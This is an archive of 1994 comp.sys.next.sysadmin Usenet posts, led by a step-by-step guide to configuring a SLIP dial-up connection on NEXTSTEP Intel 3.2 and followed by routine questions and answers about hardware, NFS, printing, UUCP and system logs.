NS Intel 3.2 machines!!!
Thanks to everyone who responded (WOW! Talk about
a helpfull community!!) Every one of the replies
put a piece in the puzzle.
What I was doing wrong was a combination of things:
1) I had MTU in pni0.config left at 1006 when my provider
had an MTU of 2000+
2) I may have had "bad" chars in some of my config files
(I replaced them with ones supplied/suggested and did
#1 above and it "just worked"!!)
Anyway, many thanks to all who helped out. If you are in a
similar situation, and are still struggling to get a
SLIP connection going, here are the basic steps (as
I remember them anyway.) If I've missed anything,
or misrepresented something, someone please
correct me. Do all steps logged in as root.
1) Install NEXTSTEP.
2) Get an account with Internet provider and get
info (IP addresses, etc)
3) Get and install TransSys PNI 1.9 (available @
cs.orst.edu). When installing, answer "YES" to
the "Make Non-NetInfo Network".
4) Restart the machine.
5) In HostManager, do Hosts->Open->Local and:
a) Set the IP address to the one given you by
the provider.
b) Add an alias. The alias should be the
"Host Name" given you by the provider
(in my case "damonc").
6) Open /etc/hostconfig and change the HOSTNAME
field from the default value of -AUTOMATIC- to
the value of the "Host Name" you set in step 5(b) above.
When finished, it should look similar to this (your
HOSTNAME will be different, of course):
# /etc/hostconfig
# Local host configuration file
#
HOSTNAME=damonc
INETADDR=-AUTOMATIC-
ROUTER=-NO-
IPNETMASK=
IPBROADCAST=-AUTOMATIC-
NETMASTER=-NO-
YPDOMAIN=-NO-
TIME=-NO-
7) Open /etc/resolv.conf (or create one if it doesn't
exist so that your machine can find a nameserver. You
need a) the IP address of the nearest Name Server and
b) your Domain Suffix (your local domain) from your
Internet provider. When finished, it should look similar
to this (your addresses will be different, of course):
# /etc/resolv.conf
# Domain name resolver configuration file
#
domain tor.hookup.net
nameserver 165.154.1.1
8) Restart the machine
9) Set up the TransSys PNI config files.
a) Save the following as pni0.config in /etc/pni/config.
CHECK WITH YOU INTERNET PROVIDER FOR THE CORRECT
"MTU" TO USE. (Your addresses, etc will be different, of
course):
#
# Pretty close to minimal configuration file for just plain SLIP using
#
# $Header: /local/SRCS/slip2/pnid/support/config.slip,v 1.4 1993/10/06 02:42:48 louie Exp $
## PART I.
set Config(pni:INTERFACE) pni0
set Config(pni:MTU) 2000
set Config(pni:ADDRESS) local-address
set Config(pni:REMOTEADDRESS) remote-address
set Config(pni:NETWORKMASK) 255.255.255.0
set Config(pni:DEFAULT) 1
set Config(slip:MODE) slip
set Config(tty:DEVICE) /dev/cufa
set Config(tty:SPEED) 38400
set Config(tty:MODEMTYPE) zyxel
set Config(tty:SERVERTYPE) unix
set Config(tty:SERVERNAME) SlipServerName
set Config(tty:NUMBER) 416-630-0970
set Config(SlipServerName:DIALTYPE) TONE
set Config(SlipServerName:USERNAME) username
set Config(SlipServerName:PASSWORD) password
# PART II.
stack PNI pni
stack SLIP slip
stack TTY tty
# PART III.
proc LINK_start { encap } {
log "LINK $encap connected"
}
proc LINK_stop { encap } {
log "LINK $encap disconnected"
}
#
# END OF FILE
b) Save the following as login-unix.tcl in /etc/pni/support
(Your login script will be different, of course):
# Copyright 1993 by TransSys, Inc.
# All rights reserved.
#
# $Header: /local/SRCS/slip2/pnid/support/login-unix.tcl,v 1.7 1994/05/14 20:15:32 louie Exp $
#
#
# Login script for use when remote end is some sort of UNIX box that will
# drop into SLIP mode.
#
proc login-hookup { DIALER cfg } {
global Config
syslog LOG_INFO "Start Hookup login script"
if {[info exists Config($cfg:SECRETFILE)] &&
[file exists $Config($cfg:SECRETFILE)]} {
if {[file readable $Config($cfg:SECRETFILE)]} {
source $Config($cfg:SECRETFILE)
}
file stat $Config($cfg:SECRETFILE) stat
if {[expr $stat(mode)&044]} {
error "File with password, $Config($cfg:SECRETFILE), is readable by non-owner!"
}
} else {
if {[info exists Config($cfg:USERNAME)]} {
set username $Config($cfg:USERNAME)
}
if {[info exists Config($cfg:PASSWORD)]} {
set password $Config($cfg:PASSWORD)
}
}
set timeout 20
# In case autobaud
# $DIALER xmit "\r"
# $DIALER sleep 1
$DIALER xmit "\r"
$DIALER sleep 10
# Look for unix login prompt
$DIALER expect timeout {error "waiting for login prompt"}
"*ogin:*"
# Send login poop
$DIALER xmit "$username\r"
$DIALER expect timeout {error "waiting for password"}
"*assword:*"
$DIALER sleep 1
$DIALER xmit "$password\r"
# Wait for connection
set timeout 60
$DIALER expect timeout {error "waiting for SLIP startup"}
"*choice:*"
$DIALER xmit "2\r"
$DIALER sleep 5
# set timeout 20
syslog LOG_INFO "Entering SLIP mode"
# That's all
return 1
}
c) Copy the Zyxel modem file (dial-zyxel.tcl) from the
/etc/pni/support or /etc/pni/SAMPLES (can't remember
which one?) to /etc/pni/config. This file name must
match the value for "Config(tty:MODEMTYPE)" line in
the /etc/pni/config/pni0.config file.
10) If you want to bring up the SLIP link when you start the
machine, rename the /etc/pni/config/pni0.config to
/etc/pni/config/pni0.config-auto.
11) Restart the machine. If you chose to set up the link on
startup, you should now be connected. If you chose not to
bring up the link on startup, enter the following in a
terminal window to manually bring up the link:
/etc/pni/pnid -t -d -c -f /etc/pni/config/pni0.config
or
/etc/pni/pnid -t -d -c -f /etc/pni/config/pni0.config-auto
(if you are bringing up the link at startup but it failed)
NOTE: this command line will work, but it shows test and
debugging info. Lookup /etc/pni/pnirun in the TransSys
doco for a "proper" command.
THANKS AGAIN TO EVERYONE THAT HELPED OUT!! SEE YOU AT
THE EXPO!!
Regards,
Damon F. Cooper
damonc@hookup.net
From: starksm@genesis.mcs.com (Scott M. Stark)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NEC 3Xe CD-ROM and NeXTSTEP
Date: 18 Jun 1994 15:01:26 GMT
Organization: MCSNet Services
Distribution: world
Message-ID: <2tv287$j0r@News1.mcs.com>
References: <schwettCrIBvC.M1w@netcom.com>
In article <schwettCrIBvC.M1w@netcom.com> schwett@netcom.com writes:
> "Someone awhile back mentioned that they thought that NEXTSTEP had a
> problem with SCSI-2 CD-ROM drives like the 3Xi/e. Anyone have any
clues?"
>
> that I can't remember the specific instance, but on one occasion I did
have
> to change the 3xi to SCSI-1 command mode.. There is a jumper on the
back
> of the drive that is labeled to do this.
>
> Other than that, (or rather since I did that) I have had no problems at
all
> with the NEC 3xi.
>
> Mark Schwettmann
> schwett@netcom.com
>
I have an intel system with a DPT2012B card and NEC 3Xi. I have had all
kinds of trouble reading binary files using the default SCSI-2
setting. When I set the SCSI-1 jumper as Mark suggested the same files
were read without any problems.
Scott
--
Scott Stark
Stark International Software
4950 N. Marine Dr.
#102
Chicago, IL 60640
starksm@genesis.mcs.com (NeXT mail accepted)
From: richarda@coffee.dcs.qmw.ac.uk (Achmatowicz)
Newsgroups: comp.sys.next.sysadmin
Subject: Gateway 2000 4DX2-66P Problem
Date: 18 Jun 1994 17:50:23 GMT
Organization: Computer Science Dept, QMW, University of London, UK.
Message-ID: <2tvc4v$7bu@beta.qmw.ac.uk>
I'm trying to install NS/I 3.2 on a Gateway 2000 4DX2-66P (PCI)
with the following configuration:
16Mb RAM
Diamond Viper PCI video card
DTC 2130S PCI IDE Hard Disk controller
Western Digital AC2540 540 Mb IDE hard disk
Adaptec 1542C ISA SCSI controller
Toshiba 3401 CD-ROM
At installation time, the bus is identified as ISA, which
may not be a problem. All devices are identified OK. But when NeXTStep
starts to copy the system over, just at the stage when it warns of
formatting the drive, the format starts and crashes with:
/private/tmp/mnta: bad dir ino 14336 at offset 0: mangled entry
mode=022120 inum=6148 fs=/private/tmp/mnta
panic: (Cpu 0) ialloc: dup alloc
I tried different disk partitions, reformatting the disk under DOS,
anything else I could think of. Same result.
I suspect it is the problem some people experience with IDE drives
over 500 Mb in size. I'm going to try to get a smaller drive
to test with.
If anyone has successfully run with a Gateway 2000 PCI machine with
an IDE hard drive > 500 Mb, please let me know!
Thanks
--
Richard Achmatowicz Internet: richarda@dcs.qmw.ac.uk
Dept. of Computer Science Telephone: +44 71-975 5244
Queen Mary and Westfield College Fax: +44 81-980 6533
University of London
Mile End Road
London E1 4NS
United Kingdom
From: archie@dockmaster.phantom.com (Phantom Operator)
Newsgroups: comp.unix.admin,comp.sys.next.sysadmin,comp.sys.sgi.admin,comp.sys.sun.admin
Subject: Tracking User's Time
Date: 20 Jun 1994 20:41:25 GMT
Organization: [MindVox] / Phantom Access Technologies / (+1 800-MindVox)
Message-ID: <2u4utl$5es@dockmaster.phantom.com>
HELP!
I need a utility to help me track the ammount of time each user is on my
SunOS 4.1.3 system, day to day. They may be running any shell. Thanks
Doug
From: jimra@aol.com (JimRA)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NFS NeXTSTEP Developer across m68k, i486, hp, sun?
Date: 11 Jun 1994 02:35:01 -0400
Organization: America Online, Inc. (1-800-827-6364)
Sender: news@search01.news.aol.com
Message-ID: <2tblul$dhf@search01.news.aol.com>
References: <1994Jun10.214610.7925@instep.wimsey.bc.ca>
In article <1994Jun10.214610.7925@instep.wimsey.bc.ca>,
brad@instep.wimsey.bc.ca writes:
... configuring HP, Dell 486, Nextstation for development net wi/out
local dev directories...
Ummm personnally I think it will be a performance bear, especially
if you develop on the turbo as well, but:
I would nfs mount /NextDeveloper & /NextLibrary from the main server
and get rid of any local directories. As for the lib directories,
the only solution I can think of is (sysadmin shudder) to mount /
and strictly control the mount for the machines (unless, of course,
its a closed net) then, do a link from the net directory to the
appropriate point that they should be.
I do something like this (well, not really but kinda) for "silly"
stuff like the shakespeare & extra stuff like that. I made a link
from the CDROM to the directories they are supposed to reside so
that when I insert the user CDROM, I get to use all that stuff, but
otherwise it uses almost no space.
Keep in mind that with development comes crashes, and that you should
be sure to set the hiwat for your swaptabs to ensure you don't kill
your disk space. You might also want to be sure to keep a good chunk
of local /tmp space for MAB compiles.
Jim
---------------------------------------------
- My normal neat signature is in the shop,
- but I've still got a Pentium and you do not.
- Jim Armes armes@tds.com
----------------------------------------------
Newsgroups: comp.sys.next.sysadmin
From: dbrad@ucdmath.ucdavis.edu (David Bradford)
Subject: How to configure a board to boot from the ethernet
Message-ID: <Cr80oB.62q@ucdavis.edu>
Keywords: How does one configure the boot params on a diskless client
Sender: David Bradford
Organization: UCD Department of Mathematics, Davis CA
Date: Sat, 11 Jun 1994 06:57:47 GMT
I have a board (in a cube ) that I wish to use as a diskless client
and a printer server. It has 16 megs and should not need to swap at
all as my print jobs a quite small - eventually I will put a swap drive
on it. I would like to avoid wasting drive money on a 70+MB drive just
to have the board boot from a drive. That is, I could put a small drive
to the external SCSII port, boot from it, export the printer and be on
my way - I think (if the backplane can be configured such that all
boards can boot can it, is this the default??) . The cube has another
040 board which will serve as the NFS/Netinfo Server.
Any help/references to FAQ's and associated archives would be greatly
appreciated.
Thanks,
David Bradford
Newsgroups: comp.sys.next.sysadmin
From: brad@instep.wimsey.bc.ca
Subject: NFS NeXTSTEP Developer across m68k, i486, hp, sun?
Message-ID: <1994Jun10.214610.7925@instep.wimsey.bc.ca>
Sender: usenet@instep.wimsey.bc.ca
Organization: InStep Mobile Communications Inc.
Date: Fri, 10 Jun 1994 21:46:10 GMT
Let's say I have three machines on my network.
I've purchased the necessary software/licencing for each machine.
The machines are:
HP (PA-RISC) running NEXTSTEP.
Dell XPS/66 i486 running NEXTSTEP.
NeXTstation Turbo running NEXTSTEP.
My NeXTstation is configured as the server; the other two are clients.
The NeXTstation is my file server.
The others have a local disk just big enough for the User
release of NEXTSTEP and enough for swap.
Given the above scenario, how does one configure NFS to allow software
development on each machine on my network? Think about this. It's not trivial
given that the standard release is "skinny" and the development tools will be
"fat" but both share common (traditional unix) directories - i.e. /bin, /lib,
/usr/lib, and so on...
thanks...
Newsgroups: comp.sys.next.sysadmin
Organization: Antigone Press gateway, San Francisco
Return-Path: <0005508785@mcimail.com>
Date: Fri, 10 Jun 94 11:20 EST
From: "ErgoTech Development, Inc." <0005508785@mcimail.com>
Subject: Re: Does any removeable 128 optical or Syquest drive work with Next
Message-ID: <03940610162030/0005508785NA3EM@mcimail.com>
Chris Conley writes:
> I would like to get a removeable cartridge drive for my two Nexts and now
> my two Macs.
>
etc.
]Jacques Garbi replied
] Well, I don't know about black Nexts but I can tell you that SyQuest works
] perfectly with my White hardware !!
The Bernoulli drives (150MB is all I've tested) also work on both black and
white. They now work with the new DPT driver (thanks NeXT). The newest 150's
are significantly faster than their older models, and are approaching fixed
disk speeds (just some Q&D test don't hold me to values).
You can also read/write/format Mac file systems, which I assume you can do on
the SyQuest.
Jim
From: jimra@aol.com (JimRA)
Newsgroups: comp.sys.next.sysadmin
Subject: New DOS FS Patch 6-11
Date: 12 Jun 1994 02:00:03 -0400
Organization: America Online, Inc. (1-800-827-6364)
Sender: news@search01.news.aol.com
Message-ID: <2te893$1a4@search01.news.aol.com>
I ftp'd the patch last night & loaded it, and lo & behold, I can
mount my second partition as well as my second hard drive! Yay!
However, one tiny strangeness, my second partition has 12 M free, yet
NS noted it was around 20+M. Hmmmmmmmm
Thanks to NeXT for finally fixing this!
Jim
Newsgroups: comp.sys.next.sysadmin
From: conley@bats.com
Subject: POP3 Servers for NeXT (3.2)
Message-ID: <CrpwzI.GxB@rahul.net>
Keywords: pop, next
Sender: news@rahul.net (Usenet News)
Organization: a2i network
Date: Mon, 20 Jun 1994 22:54:53 GMT
If anyone knows of a pop3 server that works on NS3.2, could you please
mail me information. If there is sufficient interest I will summarize for
the network.
--James "Mike" Conley
BATS, Inc.
Newsgroups: comp.sys.next.sysadmin
From: irving@Happy-Man.com (Irving_Wolfe)
Subject: Will An HP 4Si-MX LaserJet Work With Nextstep?
Date: Fri, 10 Jun 1994 22:58:41 GMT
Message-ID: <Cr7EHu.4Cq@Happy-Man.com>
Organization: Happy Man Corp, 4410 Pt Robinson, Vashon, WA 98070 206/463-9399
Does anyone know if an HP 4Si-MX LaserJet network printer will work
perfectly on a network of Nextstep machines, without a custom driver
or other tricky things?
Thanks!
- Irving
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From: wegmann@talisker.linguistics.ruhr-uni-bochum.de
Newsgroups: comp.sys.next.sysadmin
Subject: How can I properly establish a hierarchy of userdirs?
Date: 19 Jun 1994 08:20:44 GMT
Organization: Ruhr-Universitaet Bochum, Rechenzentrum
Distribution: world
Message-ID: <WEGMANN.94Jun19102044@talisker.linguistics.ruhr-uni-bochum.de>
Problem seems to be non-existent but it's there: I want to split up my /Users
directory in favour of a hierarchy of userdirs /Users/{guests,staff} etc.
Each user belonging to group 'guests' should have his homedir in /Users/guests
and only group members are allowed to enter that range of userdirs:
perm: 755 750 700 [user.group]
/ Users staff user1.staff
user2.staff
guests guest1.guests
guest2.guests
etc.
This is because we have approx. 50 users doing e-mail most of the time but we
want to prevent some people snooping around in other homedirs.
System is an Intel box with NS3.2.
As far as I understand the documentation /etc/nu.cf should be changed appropiately,
since there is a GroupHome entry that accounts for exactly this situation
(see nu(8)). So this is the relevant part of /etc/nu.cf:
DefaultHome = "/Users"
GroupHome= 10 "/Users/staff" ; staff members
GroupHome= 21 "/Users/guests" ; guest accounts
GroupHome= 44 "/Users/slz" ; members working for SLZ
GroupHome= 45 "/Users/email" ; E-Mail Tandem project
Unfortunately, it doesn't work when logging in from remote (which is the standard
case). You do enter the right directory when logging in from the console but you'll
be bounced into the root dir in the other case since the userdir (which certainly
exists!) can't be found. You know that msg 'Logging in with HOME=/'. Certainly, you
could then change to your real homedir and behave as usually... This is true
for new accounts as well as for moving old accounts.
Yes, I double-checked the permissions. Has anybody the slightest idea, at which
point I did something wrong? Or didn't I??
Any help is *really* appreciated.
Frank
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From: yalo@jpmorgan.com (Steve V. Yalovitser)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Can NS coexexist with NT on the same intel box?
Date: 19 Jun 1994 18:20:37 GMT
Organization: J.P. Morgan & Co
Message-ID: <2u229l$gsh@archive.ny.jpmorgan.com>
References: <shayCrJ32K.38t@netcom.com>
In article <shayCrJ32K.38t@netcom.com> shay@netcom.com (Christian Shay)
writes:
The safest, easiest, and fastest way to run NS/NT/Linux/OS2/DOS on
the same box is have boot floppies for each one. Tho its a pain it works
flawlessly... Otherwise you gotta put up with the NS boot manager to the
NT boot loader the combo of which will crap out 1/3 boots.
Newsgroups: comp.sys.next.sysadmin
From: tini@gurke.ping.de (Constantin)
Subject: Errors in /private/adm/messages
Message-ID: <CrICuz.F7@gurke.ping.de>
Sender: tini@gurke.ping.de (Constantin)
Organization: Legalize THC
Date: Thu, 16 Jun 1994 20:56:59 GMT
I just looked at the /private/adm/messages. This file is large!!
How can I remove the old entries in it -- I expected NS doing that itself!
Besides there are a couple of errors in it and I don't know what they
mean!
gurke mach: PS2Keyboard/HandleAck: Unexpected ACK from keyboard
Inform[177]: DPS client library error: Could not form connection, host
local host
gurke Configure[208]: Assertion failed: You removed a View from the View
hierarchy that had been lockFocus'ed
I think there here come when I use the modem!
gurke mach: Scc(com0): Rx: DMA Buffer Overrun
gurke mach: ttyscc1: receive error 2 (-902)
gurke last message repeated 8 times
gurke mach: or 2 (-902)
Newsgroups: comp.sys.next.sysadmin
From: csaldanh@mae.carleton.ca (Chris Saldanha)
Subject: Re: Errors in /private/adm/messages
Message-ID: <CroHyL.10v@cunews.carleton.ca>
Sender: news@cunews.carleton.ca (News Administrator)
Organization: Carleton University
References: <CrICuz.F7@gurke.ping.de>
Date: Mon, 20 Jun 1994 04:32:41 GMT
Constantin (tini@gurke.ping.de) wrote:
: I just looked at the /private/adm/messages. This file is large!!
: How can I remove the old entries in it -- I expected NS doing that itself!
: Besides there are a couple of errors in it and I don't know what they
: mean!
Do you shut your machine down at night? The 'daily' cron job
(/usr/adm/daily) runs at some point during the night, and it is
responsible for trimming the messages file, among others. (If I was
booted into NeXTSTEP at the moment, I'd tell you exactly when...) Look in
/etc/crontab to find out when.
: gurke mach: PS2Keyboard/HandleAck: Unexpected ACK from keyboard
This occurs when you boot in 'config=Default' mode or at install-time
when using an AT keyboard (with the large connector), rather that a PS/2
keyboard.
: gurke Configure[208]: Assertion failed: You removed a View from the View
: hierarchy that had been lockFocus'ed
This message comes up frequently when running Configure.app. It seems to
be ignorable.
--Chris
Chris Saldanha --------------------------------------
Carleton University (Comp. Sci) |"The eternal silence of these infinite|
chris@computerActive.on.ca (NeXTMail) | spaces terrifies me." -Blaise Pascal|
csaldanh@mae.carleton.ca (NeXT/MIME) ------------------:-o-----------------
From: rueiwun@helium.Gas.UUG.Arizona.EDU (ruei-wun tu)
Newsgroups: comp.sys.next.sysadmin
Subject: Questions about Adaptec 1742 and 1542???
Date: 11 Jun 1994 12:43:05 GMT
Organization: University of Arizona, Tucson
Message-ID: <2tcbgp$70a@news.CCIT.Arizona.EDU>
References: <2sdsq4$54u@yucca.omnigroup.com> <CqnB72.n4A@news.cis.umn.edu> <2sjqb1$a6v@yucca.omnigroup.com>
Hello NeXT Fans,
I have a couple of questions really annoying me. Hopefully I can gather
some answers from all of you.
On "NeXTAnswers #1475", it said that the Adaptec 1742 SCSI controller must
be set in "Standard Mode" in order to run NS. It also mentioned that when you
set Adaptec 1742 in "Standard Mode", it is compitable with Adaptec 1542. My
questions are:
1. If we set 1742 in standard mode which is compatible with 1542, can 1742 still take advantage of 32bit EISA board. Or said can 1742 still has the ability to access the memory more than 16MB???
2. Supposely one has EISA motherboard and want to choose either 1742 or 1542 controller. Since 1542 and 1742 are both using the same driver in NS, why
would people pay more for using 1742 instead of using 1542 -- assuming both of them make no difference to each others.
3. I think a lot of fans know that PAS16 and Adaptec 1542 will fight each other in ISA bus motherboard. Is this going to be the same if one use both of them in EISA bus motherboard??? In another hand, assuming both 1542 and 1742 are functioning in the same way (since they are using the same driver), will 1742 and 1542 fight each other in EISA bus motherboard???
Any suggestions or answers will be so appreciated....
Rueiwun Tu
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer
From: hardy@barfly.in-ulm.de (hardy)
Subject: Need help with next printing system [long]
Message-ID: <1994Jun20.151450.403@barfly.in-ulm.de>
Keywords: next,printer,novell
Sender: hardy@barfly.in-ulm.de
Organization: local UUCP site
Date: Mon, 20 Jun 1994 15:14:50 GMT
Hello NeXTer,
i am looking for information about the next printing system.
I have connected my black box to a Novell network. File system is fine but
printing causes me trouble. Here is my configuration:
Novell NeXT
------------------------- -------------------------
Intel 486DX2-50 NeXTstation Mono
Novell NetWare 3.11 NEXTSTEP 3.2
(with all ? Patches)
HP 4Si Laserprinter JetPilot 1.1 (Demo)
(NO Postscript)
(NetWare version and printer could not bee changed. I am root
on both systems.)
Since the printer couldn't understand postscript i ftped a demo version of
JetPilot, a driver to emulate postscript on hp-laserprinter. But i cannot
install the printer using Novells NetWareManager. Here is the error-msg.:
NetWare does not support this printer type
After this i installed a "phantom" JetPilot-Printer to a serial device. This
seems to work (JetPilot started and the output runs to my modem ;-). After
installing the printer there where some additional entries in NetInfo: Admin,
Comm and Device. In Comm are the settings for serial communication, in Device
for the Driver (DriverClass, DriverBundle, ...). If i added the Device entry to
the Novell-generated printer, JetPilot starts up, but nothing ends in the
Novell print queue. All the output went away (perhaps to /dev/nil).
I played arround with /usr/lib/NextPrinter/Server/prserver. If i run prserver
from the command line, all works fine (JetPilot starts), but the output went
away :-( Is there any way to pipe the output from prserver back to stdout (so i
can pipe it to the novell prserver) ?
At last some questions:
1. Is there a manual page to prserver ?
2. How makes JetPilot it (only prserver starts it)
there must be a interface, but no documentation ?
3. Any idea printing to a Novell printer without postscript ?
so long...
hardy
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| smail: Herrenkellergasse 20, 89073 Ulm, Germany | die ewige Antwort ... |
| email: hardy@barfly.in-ulm.de (NeXT-mail) | ich weiss es nicht. " |
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Newsgroups: comp.sys.next.sysadmin
From: brad@instep.wimsey.bc.ca
Subject: Re: speeding up uucp connection?
Message-ID: <1994Jun10.165504.6515@instep.wimsey.bc.ca>
Sender: usenet@instep.wimsey.bc.ca
Organization: InStep Mobile Communications Inc.
References: <Cr4z5x.2wH@chemelex.com>
Distribution: ba,na,usa,world
Date: Fri, 10 Jun 1994 16:55:04 GMT
In article <Cr4z5x.2wH@chemelex.com> fms@chemelex .com (Fred Schenkelberg)
writes:
> Hi, I current have a 14.4 modem, but I don't know how to get my
> uucp connection to go faster than 9600. How's this done?
>
Make sure you have entries in /etc/uucp/L.devices for high speed. i.e.:
DIR cufa unused 19200 direct
DIR cufa unused 38400 direct
And in your /etc/uucp/L.sys make use of one of these for your polled site:
# Set speed to 38400 on port A
your.polled.site Any DIR 38400 cufa \
# Abort script on BUSY signal.
ABORT BUSY \
# Reset modem to defaults
"" ATZ \
etc...
brad.
Newsgroups: comp.sys.next.sysadmin
From: (Albatross)
Subject: X-Windows 4 NeXT
Message-ID: <CrFE2D.9v@haquer.uucp>
Keywords: tvtwmrc tvtwm xwindows next
Sender: alby@haquer.uucp (Albatross)
Organization: The Empire Organization {TEO}
Date: Wed, 15 Jun 1994 06:30:13 GMT
Does anybody know what extra lines I need to place into
my .tvtwmrc file to place 'scrollbars' on my X-windows?
I am running TVWM under Mouse-X/NS3.0 Anybody know what .tvtwmrc
lines need to be added? I've already mastered most of the rest..
ie: Bitmaps, Drag-down menu bars, Virtual Windows,etc...
-Alby
Newsgroups: comp.sys.next.sysadmin
From: jafri!ajafri (Amir Jafri)
Subject: Read Receipts And UUCP
Message-ID: <CrFJD4.93@jafri.uucp>
Sender: ajafri@jafri.uucp (Amir Jafri)
Date: Wed, 15 Jun 1994 08:24:39 GMT
Hi!
I have a uucp connection set up for mail and news, but I'm
having a problem
getting read receipts from other NeXT machines. I don't really
care so
much about the receipts, but the people who receive NeXTMail
from me are also unable to use the 'reply all' button in
NeXTMail to reply back (this has them a bit peeved).
I guess this is happening because the machines in question are
not able to resolve my return UUCP address correctly. However,
if people sending mail to me enter my address by hand,
everything works fine. BTW, my address is jafri!ajafri@uunet.ca.
Has anyone else, who is using a UUCP link to the internet,
experienced this problem? More importantly, is there a fix?
Specifically, I would like to know if I can mess with my
sendmail.cf file to fix this, or if my internet service provider
would have to make some changes at its end.
Any tips would be appreciated. I will be more than happy to
email more details if needed.
Thanks.
Regards,
Amir.
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NeXTmail OK
From: kaoki@ps1.yukawa.kyoto-u.ac.jp (Kenichiro Aoki)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Black Hardware Hell
Date: 15 Jun 94 14:14:34
Organization: Yukawa Institute for Theoretical Physics, Kyoto, Japan.
Message-ID: <KAOKI.94Jun15141434@ps2.ps1.yukawa.kyoto-u.ac.jp>
References: <Cr3tw6.DnM@cunews.carleton.ca> <neuss.771611328@budlight>
In-reply-to: neuss@igd.fhg.de's message of 14 Jun 94 16:28:48 GMT
>>>>> On 14 Jun 94 16:28:48 GMT, neuss@igd.fhg.de (Christian Neuss ) said:
Christian> NNTP-Posting-Host: budlight.igd.fhg.de
Christian> jbright@schoolnet (Jason Bright) writes:
> When try to boot from the cd rom (bsd(1,0,0)sdmach rootdev=sd1)
>it searches for the drive, starts, and then gives me
> "Exception #4 (0x10) at 0x80000"
>-what the hell is this?
Christian> I was in the same situation once.. in the middle of the night, tearing
Christian> my hair out. Lucky enough I had a second formatted harddrive that
Christian> I could attach. I set the external SCSI id to 0 and bootet from
Christian> the external, then backed up and rebuilt my internal disk.
Christian> Just couldn't get the CDROM to boot.
It's not clear from these posts, but are you using turbo
machines or non-turbo? I believe non-turbo NeXT's canNOT boot
from CDROM. That's why they give you a floppy with the CD when
you upgrade. Perhaps irrelevant, but just in case.
Happy NeXTing.
Christian> After being able to boot from external, the rest was quite
Christian> easy.. but boy did I sweat!
Christian> Get back to me if you need further assistance!
Christian> Don't despair..
Christian> Chris
Christian> --
Christian> "I ride a tandem with the random.."
Christian> Christian Neuss # Fraunhofer Institute for Computer Graphics
Christian> Wilhelminenstr.7 # 64283 Darmstadt # Germany
Christian> e-mail: neuss@igd.fhg.de finger: neuss@wildturkey.igd.fhg.de
--
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Tokyo Institute of Technology, Oh-okayama, Meguro-ku, Tokyo, JAPAN
... posting from kyoto....
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
From: eike@ilink.de (Eike Dierks)
Subject: WindowServer on a headless machine
Message-ID: <CrpvKo.30J@ilink.de>
Keywords: WindowServer, headless, postscript, ps, render
Sender: usenet@ilink.de
Organization: i.link Kommunikationssysteme GmbH, Berlin
Date: Mon, 20 Jun 1994 22:24:23 GMT
In article <1994Jun7.055851.5422@millennium.com> Jayson Adams writes:
> Besides, who said anything about the window server. Most of the machines
> around here run headless.
So there comes an interesting question:
How do you start up a WindowServer on a headless machine ?
If you want to run a machine headless you've to configure /etc/ttys and
comment out 'console "/usr/lib/NextStep/loginwindow...'. However this also
inhibits WindowServer from starting up.
If you start up /usr/lib/NextStep/WindowServer manually you'll get "panic:
(Cpu 0) illegal instruction" (This is also the reason why you had to
uncomment the line from /etc/ttys)
Any hints ?
From: gguelden@ixpoint.de
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Will An HP 4Si-MX LaserJet Work With Nextstep?
Date: 12 Jun 1994 10:35:24 GMT
Organization: iXpoint Informationssysteme GmbH, Waldbronn, Germany
Distribution: world
Message-ID: <2teodc$pv@balu.ixpoint.de>
References: <2tb4q3$so2@agate.berkeley.edu>
In article <2tb4q3$so2@agate.berkeley.edu> izumi@pinoko.berkeley.edu
(Izumi Ohzawa) writes:
> In article <Cr7EHu.4Cq@Happy-Man.com> irving@Happy-Man.com
(Irving_Wolfe) writes:
> >Does anyone know if an HP 4Si-MX LaserJet network printer will work
> >perfectly on a network of Nextstep machines, without a custom driver
> >or other tricky things?
>
> These cards were announced May 1, 1994, so if you had
> bought your network printer before then, the card may not be able to.
>
> HP 4Si-MX seems to have better base intelligence than other printers
> (i.e., support for auto protocol switching with old J23xx series card)
> this gives a slight hope. If not, you might ask HP if they have
> any upgrade deal to get new JetDirect MIO card for the printer.
Take a look on the QMS-Network-Printers. They have all this since years
and are much more reliable and powerful than HP-Printers. See it on the
Expo !
Gerd
++++++++++++++++++++++++++++++++++++++++++++++++++
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+ iXpoint Informationssysteme GmbH +
+ Im Ermlisgrund 20-24 76337 Waldbronn Germany +
+ Phone ++49 7243/65535 Fax ++49 7243 69817 +
+ Email: gguelden@ixpoint.de (NeXTmail welcome) +
++++++++++++++++++++++++++++++++++++++++++++++++++
From: richarda@coffee.dcs.qmw.ac.uk (Achmatowicz)
Newsgroups: comp.sys.next.sysadmin
Subject: Multiple Ethernet Interface Problem
Date: 12 Jun 1994 13:28:12 GMT
Organization: Computer Science Dept, QMW, University of London, UK.
Message-ID: <2tf2hc$kdb@beta.qmw.ac.uk>
Dear All
I'm running NS/I 3.2 on a Gateway 2000 486, with an SMC Elite 16
Ethernet card.
For some reason, NS/I seems to be registering *two* Ethernet
interfaces at startup, as in:
fred> netstat -i
Name Mtu Network Address Ipkts Ierr Opkts Oerr Coll
le0 1536 loopback localhost 239445 0 239445 0 0
en0 1500 qmw-dcs-main fred 184225 0 39398 0 0
en0* 1500 none none 184225 0 39388 7 6619
Even though these appear at startup in multiuser mode,
it doesn't seem as though rc.net is doing anything to add
the second interface(as running rc.net -d gives the correct
output).
Has anyone had this same problem or have any ideas as to
what is causing it?
Thanks
--
Richard Achmatowicz Internet: richarda@dcs.qmw.ac.uk
Dept. of Computer Science Telephone: +44 71-975 5244
Queen Mary and Westfield College Fax: +44 81-980 6533
University of London
Mile End Road
London E1 4NS
United Kingdom
From: cnayak@crl.com (Chiraprakash Nayak)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Printer on Parallel port (NS/I)- any chance now or in the future?
Date: 12 Jun 1994 06:57:39 -0700
Organization: CRL Dialup Internet Access (415) 705-6060 [login: guest]
Message-ID: <2tf48j$bc2@crl.crl.com>
Hi;
Any chance of connecting a parallel ps-printer to NS/I now or in the near
future. Any comments/suggestions?
Thanks a lot.
Best Regards.
--chip (cnayak@crl.com)
From: croehrig@celegans.psych.ubc.ca (Chris Roehrig)
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
